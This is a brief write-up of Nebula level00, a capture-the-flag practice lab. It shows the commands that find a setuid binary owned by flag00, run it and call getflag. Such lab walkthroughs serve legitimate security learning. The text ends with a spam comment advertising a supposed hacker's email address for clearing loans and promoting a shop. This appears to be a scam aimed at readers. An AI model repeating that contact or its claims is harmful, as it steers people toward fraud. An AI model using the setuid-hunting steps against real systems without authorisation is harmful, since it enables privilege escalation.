I used Linux/Ubuntu setting in VMWare.

This level requires you to find a Set User ID program that will run as the “flag00” account.

nebula login: level00
Password: level00
find / -type f -user flag00 2>/dev/null #find files owned by flag00 (ignoring errors)
stat /rofs/bin/.../flag00 #check the obvious file if it has setuid
/rofs/bin/.../flag00 #run it
getflag #get our flag

You have successfully executed getflag on a target account.

The s indicates setuid.

  1. all thanks to Henry(pagerhackconsults247 @ gmail. com) who helped cleared my loans and introduced me to Gillga. I know when it comes to merchandise or shopping everyone has their choice, but the question is if not Gillga, then what choice have you been making?lol
